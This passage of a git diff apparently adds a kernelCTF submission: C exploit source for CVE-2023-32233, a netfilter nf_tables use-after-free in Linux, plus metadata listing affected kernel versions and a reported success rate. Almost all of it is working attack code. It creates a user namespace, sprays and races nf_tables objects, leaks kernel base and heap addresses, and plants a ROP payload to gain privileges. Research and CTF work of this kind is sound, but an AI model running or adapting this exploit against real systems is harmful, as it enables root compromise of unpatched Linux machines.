NFTNL_CHAIN_FAMILY, pwn_family); + nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, pwn_table); + nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name); + nftnl_chain_set_data(chain, NFTNL_CHAIN_USERDATA, data, 0xf0); + + struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr( + mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWCHAIN, + pwn_family, + NLM_F_CREATE | NLM_F_ACK, + seq + ); + nftnl_chain_nlmsg_build_payload(nlh, chain); + mnl_nlmsg_batch_next(batch); + + nftnl_chain_free(chain); +} + +static void pwn_prepare(struct mnl_socket *nl) +{ + uint32_t portid, seq, table_seq; + int ret; + + printf("pwn_prepare\n"); + + seq = time(NULL); + + struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + table_seq = seq; + mnl_nlmsg_batch_next(batch); + + pwn_create_table(batch, seq++); + + pwn_create_chain(batch, seq++, pwn_lookup_chain); + + pwn_create_chain(batch, seq++, pwn_log_chain); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + portid = mnl_socket_get_portid(nl); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "Cannot into mnl_socket_sendto()"); + } + + mnl_nlmsg_batch_stop(batch); + + while (table_seq + 1 != seq) { + ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); + if (ret <= 0) + break; + ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); + if (ret < 0) + break; + table_seq++; + } + if (ret == -1) { + err(1, "Cannot into mnl_socket_recvfrom()"); + } +} + +static void pwn_uaf_spray(struct mnl_socket *nl) +{ + uint32_t portid, seq, table_seq; + int ret; + + printf("pwn_uaf_spray\n"); + + memset(uaf_set_key, 0, sizeof(uaf_set_key)); + uaf_set_key[4] = 0x90; + + char set_userdata_buf[0x100] = {}; + + char *set_userdata; + uint32_t set_userdata_size; + if (cfg_race_set_slab == 0) { + set_userdata = NULL; + set_userdata_size = 0; + } + else { + set_userdata = set_userdata_buf; + set_userdata_size = sizeof(set_userdata_buf); + } + + seq = time(NULL); + + struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + table_seq = seq; + mnl_nlmsg_batch_next(batch); + + for (int spray = - 0x50; spray < 10; ++ spray) { + if (spray == 0) { + pwn_create_set(batch, seq++, pwn_lookup_set, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), 0, set_userdata, set_userdata_size); + } + else { + char *set_name; + asprintf(&set_name, "spray_set_%04hx", spray); + pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), 0, set_userdata, set_userdata_size); + } + } + + for (int spray = - 0x60; spray < 0x21; ++ spray) { + if (spray == 0) { + pwn_create_lookup_set_elem(batch, seq++, pwn_lookup_set, uaf_set_key, sizeof(uaf_set_key)); + } + else { + } + } + + pwn_create_lookup_rule(batch, seq++, pwn_lookup_chain, pwn_lookup_set); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + portid = mnl_socket_get_portid(nl); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "Cannot into mnl_socket_sendto()"); + } + + mnl_nlmsg_batch_stop(batch); + + while (table_seq + 1 != seq) { + ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); + if (ret <= 0) + break; + ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); + if (ret < 0) + break; + table_seq++; + } + if (ret == -1) { + err(1, "Cannot into mnl_socket_recvfrom()"); + } +} + +static void pwn_delay_spray_set(struct mnl_socket *nl) +{ + uint32_t portid, seq, table_seq; + int ret; + + printf("pwn_delay_spray_set\n"); + + seq = time(NULL); + struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + table_seq = seq; + mnl_nlmsg_batch_next(batch); + + pwn_create_set(batch, seq++, "set_delay", 1, 0, sizeof(uint64_t), 0, NULL, 0); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + portid = mnl_socket_get_portid(nl); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "Cannot into mnl_socket_sendto()"); + } + + mnl_nlmsg_batch_stop(batch); + + while (table_seq + 1 != seq) { + ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); + if (ret <= 0) + break; + ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); + if (ret < 0) + break; + table_seq++; + } + if (ret == -1) { + err(1, "Cannot into mnl_socket_recvfrom()"); + } +} + +static void pwn_delay_spray_set_elem(struct mnl_socket *nl, uint64_t *set_elem_key, uint64_t set_elem_key_end) +{ + uint32_t portid, seq, table_seq; + int ret; + + seq = time(NULL); + struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + table_seq = seq; + mnl_nlmsg_batch_next(batch); + + struct nftnl_set *set = nftnl_set_alloc(); + if (set == NULL) { + errx(1, "Cannot into nftnl_set_alloc()"); + } + + nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family); + nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table); + nftnl_set_set_str(set, NFTNL_SET_NAME, "set_delay"); + + uint64_t count = set_elem_key_end - (*set_elem_key); + if (count > 0x800) { + count = 0x800; + } + while (count > 0) { + -- count; + + struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc(); + if (set_elem == NULL) { + errx(1, "Cannot into nftnl_set_elem_alloc()"); + } + + nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, sizeof(*set_elem_key)); + + nftnl_set_elem_add(set, set_elem); + + ++ (*set_elem_key); + } + + struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr( + mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWSETELEM, + NFPROTO_INET, + NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK, + seq++ + ); + nftnl_set_elems_nlmsg_build_payload(nlh, set); + mnl_nlmsg_batch_next(batch); + + nftnl_set_free(set); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + portid = mnl_socket_get_portid(nl); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "Cannot into mnl_socket_sendto()"); + } + + mnl_nlmsg_batch_stop(batch); + + while (table_seq + 1 != seq) { + ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); + if (ret <= 0) + break; + ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); + if (ret < 0) + break; + table_seq++; + } + if (ret == -1) { + err(1, "Cannot into mnl_socket_recvfrom()"); + } +} + +static void pwn_uaf_trigger(struct mnl_socket *nl) +{ + struct mnl_nlmsg_batch *batch; + uint32_t portid, seq, table_seq; + int ret; + + printf("pwn_uaf_trigger\n"); + + seq = time(NULL); + batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + table_seq = seq; + mnl_nlmsg_batch_next(batch); + + append_del_rule(batch, seq++, NFPROTO_INET, "testfirewall", pwn_lookup_chain, -1); + + for (int spray = 2; spray < 10; spray += 2) { + char *set_name; + asprintf(&set_name, "spray_set_%04hx", spray); + append_del_set(batch, seq++, NFPROTO_INET, "testfirewall", set_name); + } + + append_del_set(batch, seq++, NFPROTO_INET, "testfirewall", "set_delay"); + + struct nftnl_set *set = nftnl_set_alloc(); + if (set == NULL) { + errx(1, "Cannot into nftnl_set_alloc()"); + } + + nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family); + nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table); + nftnl_set_set_str(set, NFTNL_SET_NAME, pwn_lookup_set); + + struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr( + mnl_nlmsg_batch_current(batch), + NFT_MSG_DELSET, + NFPROTO_INET, + NLM_F_ACK, + seq++ + ); + nftnl_set_nlmsg_build_payload(nlh, set); + mnl_nlmsg_batch_next(batch); + + nftnl_set_free(set); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + portid = mnl_socket_get_portid(nl); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "Cannot into mnl_socket_sendto()"); + } + + mnl_nlmsg_batch_stop(batch); + + while (table_seq + 1 != seq) { + ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); + if (ret <= 0) + break; + ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); + if (ret < 0) + break; + table_seq++; + } + if (ret == -1) { + err(1, "Cannot into mnl_socket_recvfrom()"); + } +} + +static void pwn_uaf_race(struct mnl_socket *nl) +{ + uint32_t portid, seq, table_seq; + int ret; + + printf("pwn_uaf_race\n"); + + uint32_t set_desc_size; + if (cfg_race_set_slab == 0) { + set_desc_size = 0x0c; + } + else { + set_desc_size = 0x10; + } + + seq = time(NULL); + struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + table_seq = seq; + mnl_nlmsg_batch_next(batch); + + for (int spray = 0; spray != 0x20; ++ spray) { + char *set_name; + asprintf(&set_name, "race_set_%0200hx", spray); + pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), set_desc_size, 0, 0); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + portid = mnl_socket_get_portid(nl); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "Cannot into mnl_socket_sendto()"); + } + + mnl_nlmsg_batch_stop(batch); + + while (table_seq + 1 != seq) { + ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); + if (ret <= 0) + break; + ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); + if (ret < 0) + break; + table_seq++; + } + if (ret == -1) { + err(1, "Cannot into mnl_socket_recvfrom()"); + } +} + +static void pwn_uaf_spray_chain(struct mnl_socket *nl) +{ + uint32_t portid, seq, table_seq; + int ret; + + printf("pwn_uaf_spray_chain\n"); + + seq = time(NULL); + + struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + table_seq = seq; + mnl_nlmsg_batch_next(batch); + + for(int i = 0 ; i < 0x20; i++){ + char *chain_name; + asprintf(&chain_name, "spray_chain_%08hx", i); + pwn_create_leak_chain(batch, seq++, chain_name); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + portid = mnl_socket_get_portid(nl); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "Cannot into mnl_socket_sendto()"); + } + + mnl_nlmsg_batch_stop(batch); + + while (table_seq + 1 != seq) { + ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); + if (ret <= 0) + break; + ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); + if (ret < 0) + break; + table_seq++; + } + if (ret == -1) { + err(1, "Cannot into mnl_socket_recvfrom()"); + } +} + +static void pwn_uaf_spray_chain_rop(struct mnl_socket *nl) +{ + uint32_t seq; + + printf("pwn_uaf_spray_chain_rop\n"); + + seq = time(NULL); + + struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0x100; i < 0x180; i++){ + char *chain_name; + asprintf(&chain_name, "spray_chain_%08hx", i); + pwn_create_rop_chain(batch, seq++, chain_name); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "Cannot into mnl_socket_sendto()"); + } + + mnl_nlmsg_batch_stop(batch); +} + +static void pwn_uaf_spray_chain_fake_rule(struct mnl_socket *nl) +{ + uint32_t seq; + + printf("pwn_uaf_spray_chain_fake_rule\n"); + + seq = time(NULL); + + struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0x200; i < 0x300; i++){ + char *chain_name; + asprintf(&chain_name, "spray_chain_fake_rule_%08hx", i); + pwn_create_fake_rule_chain(batch, seq++, chain_name); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "Cannot into mnl_socket_sendto()"); + } + + mnl_nlmsg_batch_stop(batch); +} + +static void pwn_uaf_del_rule(struct mnl_socket *nl, uint64_t handle) +{ + struct mnl_nlmsg_batch *batch; + uint32_t seq; + + printf("pwn_uaf_del_rule\n"); + + seq = time(NULL); + batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if(handle == -1){ + for(int i = victim_rule_handle-2; i < victim_rule_handle; i++) + append_del_rule(batch, seq++, NFPROTO_INET, "testfirewall", pwn_log_chain, i); + } + else + append_del_rule(batch, seq++, NFPROTO_INET, "testfirewall", pwn_log_chain, handle); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "Cannot into mnl_socket_sendto()"); + } + + mnl_nlmsg_batch_stop(batch); +} + +static void pwn_uaf_del_set(struct mnl_socket *nl) +{ + struct mnl_nlmsg_batch *batch; + uint32_t portid, seq, table_seq; + int ret; + + printf("pwn_uaf_del_set\n"); + + seq = time(NULL); + batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + table_seq = seq; + mnl_nlmsg_batch_next(batch); + + for(uint64_t i = 0x60; i < 0x71; i++){ + append_del_set_handle(batch, seq++, NFPROTO_INET, "testfirewall", i); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + portid = mnl_socket_get_portid(nl); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "Cannot into mnl_socket_sendto()"); + } + + mnl_nlmsg_batch_stop(batch); + + while (table_seq + 1 != seq) { + ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); + if (ret <= 0) + break; + ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); + if (ret < 0) + break; + table_seq++; + } + if (ret == -1) { + err(1, "Cannot into mnl_socket_recvfrom()"); + } +} + +static void pwn_uaf_del_chain(struct mnl_socket *nl) +{ + struct mnl_nlmsg_batch *batch; + uint32_t seq; + + printf("pwn_uaf_del_chain\n"); + + seq = time(NULL); + batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < 0x20; i++){ + char *chain_name; + asprintf(&chain_name, "spray_chain_%08hx", i); + append_del_chain(batch, seq++, NFPROTO_INET, "testfirewall", chain_name); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "Cannot into mnl_socket_sendto()"); + } + + mnl_nlmsg_batch_stop(batch); +} + +static void pwn_read_dump_chain(struct mnl_socket *nl) +{ + uint32_t seq; + + printf("pwn_read_dump_chain\n"); + + struct nftnl_chain *chain = NULL; + + for(int i = 0; i < 0x20; i++){ + chain = nftnl_chain_alloc(); + if (chain == NULL) { + errx(1, "Cannot into nftnl_chain_alloc()"); + } + + seq = time(NULL); + struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr( + mnl_batch_buffer, + NFT_MSG_GETCHAIN, + NFPROTO_INET, + NLM_F_ACK, + seq + ); + + char *chain_name; + asprintf(&chain_name, "spray_chain_%08hx", i); + + nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name); + nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, "testfirewall"); + nftnl_chain_nlmsg_build_payload(nlh, chain); + nftnl_chain_free(chain); + + if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { + err(1, "Cannot into mnl_socket_sendto()"); + } + + memset(mnl_batch_buffer, 0, sizeof(mnl_batch_buffer)); + + mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); + + nft_counter_ops = *(unsigned long*) &mnl_batch_buffer[0x74]; + kbase = nft_counter_ops - NFT_COUNTER_OPS; + heap_addr = *(unsigned long*) &mnl_batch_buffer[0x64]; + victim_rule_handle = *(unsigned long*) &mnl_batch_buffer[0x6c] & 0xffff; + + if(nft_counter_ops != 0){ + hex_dump(mnl_batch_buffer, 0x80); + printf("[*] nft_counter_ops %lx kbase %lx heap_addr %lx handle %lx\n", + nft_counter_ops, kbase, heap_addr, victim_rule_handle); + break; + } + mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); + } +} + +static void pwn_uaf_spray_rule(struct mnl_socket *nl) +{ + uint32_t portid, seq, table_seq; + int ret; + + printf("pwn_uaf_spray_rule\n"); + + seq = time(NULL); + + struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + table_seq = seq; + mnl_nlmsg_batch_next(batch); + + for(int i = 0 ; i < 0x20; i++) + pwn_create_leak_rule(batch, seq++, pwn_log_chain); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + portid = mnl_socket_get_portid(nl); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "Cannot into mnl_socket_sendto()"); + } + + mnl_nlmsg_batch_stop(batch); + + while (table_seq + 1 != seq) { + ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); + if (ret <= 0) + break; + ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); + if (ret < 0) + break; + table_seq++; + } + if (ret == -1) { + err(1, "Cannot into mnl_socket_recvfrom()"); + } +} + +static int pwn_main() +{ + struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER); + if (nl == NULL) { + err(1, "Cannot into mnl_socket_open()"); + } + + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { + err(1, "Cannot into mnl_socket_bind()"); + } + + pwn_prepare(nl); + + usleep(cfg_initial_usleep); + + pwn_uaf_spray(nl); + + pwn_delay_spray_set(nl); + + uint64_t race_set_elem_key = 0; + while (race_set_elem_key < cfg_race_set_elem_count) { + pwn_delay_spray_set_elem(nl, &race_set_elem_key, cfg_race_set_elem_count); + } + + pwn_uaf_trigger(nl); + usleep(cfg_race_lead_usleep); + pwn_uaf_race(nl); + usleep(cfg_race_lag_usleep); + + // spray chain + pwn_uaf_spray_chain(nl); + + // del set + pwn_uaf_del_set(nl); + usleep(cfg_reuse_usleep); + + // spray rule + pwn_uaf_spray_rule(nl); + + // dump chain udata + pwn_read_dump_chain(nl); + usleep(cfg_reuse_usleep); + + // del rule + pwn_uaf_del_rule(nl, -1); + usleep(cfg_reuse_usleep); + + // spray rop payload + pwn_uaf_spray_chain_rop(nl); + usleep(cfg_reuse_usleep); + + // del chain + pwn_uaf_del_chain(nl); + usleep(cfg_reuse_usleep); + + // alloc fake rule + pwn_uaf_spray_chain_fake_rule(nl); + usleep(cfg_reuse_usleep); + + // del rule + if(!fork()){ + pwn_uaf_del_rule(nl, 0xffff); + usleep(cfg_reuse_usleep); + win(); + } + + sleep(1000); + + return 0; +} + +void write_file(const char *filename, char *text) { + + int fd = open(filename, O_RDWR | O_CREAT); + + write(fd, text, strlen(text)); + close(fd); +} + +void new_ns(void) { + uid_t uid = getuid(); + gid_t gid = getgid(); + char buffer[0x100]; + + unshare(CLONE_NEWUSER | CLONE_NEWNS); + + unshare(CLONE_NEWNET); + + write_file("/proc/self/setgroups", "deny"); + + snprintf(buffer, sizeof(buffer), "0 %d 1", uid); + write_file("/proc/self/uid_map", buffer); + snprintf(buffer, sizeof(buffer), "0 %d 1", gid); + write_file("/proc/self/gid_map", buffer); +} + +volatile int cpu_spinning = 1; + +static void pwn(size_t cpu_set_size, const cpu_set_t *cpu_set, int socketfd) +{ + int res; + + res = sched_setaffinity(0, cpu_set_size, cpu_set); + if (res != 0) { + err(1, "Cannot into sched_setaffinity()"); + } + + new_ns(); + + int status = pwn_main(); + + printf("[*] Signaling status=%d to coordinator...\n", status); + res = write(socketfd, &status, sizeof(status)); + if (res != sizeof(status)) { + err(1, "Cannot into write()"); + } + + while (cpu_spinning) { + usleep(60 * 1000 * 1000); + } +} + +/**************************************************************************** + * + * Coordinator + * + */ + +static int clone_helper(void *ctx) +{ + jmp_buf *env = ctx; + + longjmp(*env, 1); + err(1, "Cannot into pthread_attr_init()"); + return 1; +} + +__attribute__((noinline)) +static pid_t clone_with_longjmp(unsigned long flags, jmp_buf *env) +{ + char helper_stack_buffer[2 * PTHREAD_STACK_MIN + __BIGGEST_ALIGNMENT__]; + + uintptr_t helper_stack_addr = (uintptr_t) helper_stack_buffer; + helper_stack_addr += PTHREAD_STACK_MIN + __BIGGEST_ALIGNMENT__ - 1; + helper_stack_addr -= helper_stack_addr % __BIGGEST_ALIGNMENT__; + void *helper_stack = (void *) helper_stack_addr; + + pid_t pid = clone(clone_helper, helper_stack, flags, env); + if (pid == -1) { + err(1, "Cannot into clone()"); + } + + return pid; +} + +static void pwn_helper(size_t cpu_set_size, const cpu_set_t *cpu_set) +{ + int res; + + int socketfd[2]; + res = socketpair(AF_UNIX, SOCK_STREAM, 0, socketfd); + if (res != 0) { + err(1, "Cannot into socketpair()"); + } + + jmp_buf env; + if (setjmp(env) == 0) { + clone_with_longjmp(SIGCHLD, &env); + } + else { + res = close(socketfd[0]); + if (res != 0) { + err(1, "Cannot into close()"); + } + + char buf[1]; + res = read(socketfd[1], buf, sizeof(buf)); + if (res != sizeof(buf)) { + err(1, "Cannot into read()"); + } + + printf("[*] Starting PWN Worker\n"); + pwn(cpu_set_size, cpu_set, socketfd[1]); + err(1, "Unexpected return from exploit()"); + } + + res = close(socketfd[1]); + if (res != 0) { + err(1, "Cannot into close()"); + } + + printf("[*] Signaling PWN Worker...\n"); + char buf[1] = {}; + res = write(socketfd[0], buf, sizeof(buf)); + if (res != sizeof(buf)) { + err(1, "Cannot into write()"); + } + + printf("[*] Waiting for PWN Worker...\n"); + int status = EFAULT; + res = read(socketfd[0], &status, sizeof(status)); + if (res != sizeof(status)) { + err(1, "Cannot into read()"); + } + + win(); + exit(1); +} + +static void exploit() +{ + int cpu_alloc = 0x80; + size_t cpu_set_size; + + printf("[*] Netfilter UAF exploit\n\n"); + + cfg_load("profile"); + + cpu_set_size = CPU_ALLOC_SIZE(cpu_alloc); + cpu_set_t *cpu_affinity = CPU_ALLOC(cpu_alloc); + if (cpu_affinity == NULL) { + err(1, "Cannot into CPU_ALLOC()"); + } + + CPU_ZERO_S(cpu_set_size, cpu_affinity); + CPU_SET_S(0, cpu_set_size, cpu_affinity); + + pwn_helper(cpu_set_size, cpu_affinity); +} + +int main(int argc, char *argv[], char *envp[]) +{ + setbuf(stdout, NULL); + + exploit(); +} diff --git a/pocs/linux/kernelctf/CVE-2023-32233_mitigation/metadata.json b/pocs/linux/kernelctf/CVE-2023-32233_mitigation/metadata.json new file mode 100644 index 00000000..35a58a09 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-32233_mitigation/metadata.json @@ -0,0 +1,28 @@ +{ + "$schema" : "https://google.github.io/security-research/kernelctf/metadata.schema.v2.json", + "submission_ids": ["exp61"], + "vulnerability": { + "summary": "Use-After-Free in net/netfilter", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c1592a89942e9678f7d9c8030efa777c0d57edab", + "cve": "CVE-2023-32233", + "affected_versions": ["3.13-rc1 - 6.4-rc6"], + "requirements": { + "attack_surface": [], + "capabilities": ["CAP_NET_ADMIN"], + "kernel_config": [ + "CONFIG_NETFILTER", "CONFIG_NF_TABLES" + ] + } + }, + "exploits": [ + { + "environment": "mitigation-6.1.0", + "uses": [ + "userns" + ], + "requires_seperate_kaslr_leak":false, + "stability_notes" : "6 ~ 7 times success per 10 times run" + } + ] + } + \ No newline at end of file